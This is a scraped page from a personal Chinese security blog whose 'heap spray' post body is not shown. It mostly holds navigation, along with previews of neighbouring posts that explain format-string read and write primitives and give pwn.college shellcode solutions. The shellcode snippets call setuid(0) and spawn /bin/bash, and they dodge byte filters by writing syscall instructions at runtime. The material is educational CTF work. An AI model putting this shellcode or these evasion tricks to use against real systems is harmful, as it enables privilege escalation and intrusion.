文章
12
标签
11
分类
3
首页
归档
标签
分类
友情链接
f0und
secreu
0x4A
VAC
heap spray
返回首页
首页
归档
标签
分类
友情链接
f0und
secreu
0x4A
heap spray
发表于
2025-10-26
|
更新于
2025-10-30
|
浏览量:
文章作者:
Vac啊
文章链接:
http://vac011.com/2025/10/26/heap%20spray/
版权声明:
本博客所有文章除特别声明外,均采用
CC BY-NC-SA 4.0
许可协议。转载请注明来源
VAC
!
上一篇
format string
格式化字符串漏洞格式化字符串漏洞是由于程序在处理用户输入的格式化字符串时,没有正确验证输入内容,导致攻击者可以通过精心构造的格式化字符串来读取或写入内存中的任意数据,从而实现信息泄露或代码执行等攻击。 一般通过以下格式化符触发漏洞: %N$x: 读取寄存器或栈上第N个数据并以十六进制格式输出 %N$p: 读取寄存器或栈上第N个数据并以指针格式输出 %N$s: 读取寄存器或栈上第N个地址并输出该地址指向的字符串;若出现在scanf中且未限制长度,则存在缓冲区溢出漏洞 %N$n: 将已经输出的字符数写入寄存器或栈上第N个地址指向的内存位置 %Nc: 打印一个字符并用空格填充到N个字符 其中使用%N$x和%N$p可以泄露栈上的数据,而使用%N$s结合栈上的地址几乎可以进行任意地址读;使用%Nc与%N$n再结合栈上的地址可以实现任意地址写。 对于栈上构造地址,一般有两种情况: 一是可以直接对栈进行写操作,则可以直接将地址写入栈中; 而当无法直接写入栈时(比如只能向.bss段写入数据),即非栈格式化字符串的情况,则可以通过间接构造的方式来实现任意地址读写:先在栈中找到一个可控栈指针,...
下一篇
pwn.college刷题小记(二):Program Security
Shellcode Injectionlevel 4禁止”0x48”(h), 即64位寄存器前缀, 使用32位寄存器即可(push, pop除外)。 // 先提权, 再启动bash。// setuid(0x69)为root(0)mov eax, 0x69mov edi, 0syscall// execve(0x3b) bashmov eax, 0x3blea edi, [rip+bash]mov esi, 0mov edx, 0syscallbash:.string "/bin/bash" level 5不能包含syscall(0x0f 0x05)、int(0x80)等指令, 使用执行时写即可。 mov bl, 0x0fmov [rip+syscall0], blmov bl, 0x05mov [rip+syscall1], blsyscall0:.byte 0x00syscall1:.byte 0x00 level 6新分配页不可写, 但栈可执行, 将系统调用在执行时写进栈中即可(使用jmp或call指令跳转)。 mov bl, 0x0fmov [rsp...
Vac啊
I quit, so what
文章
12
标签
11
分类
3
Follow Me
公告
This is my Blog
最新文章
_IO_FILE_plus
2025-10-30
heap
2025-10-30
从_start到main: __libc_start_main与__libc_start_call_main
2025-10-26
SROP
2025-10-26
format string
2025-10-26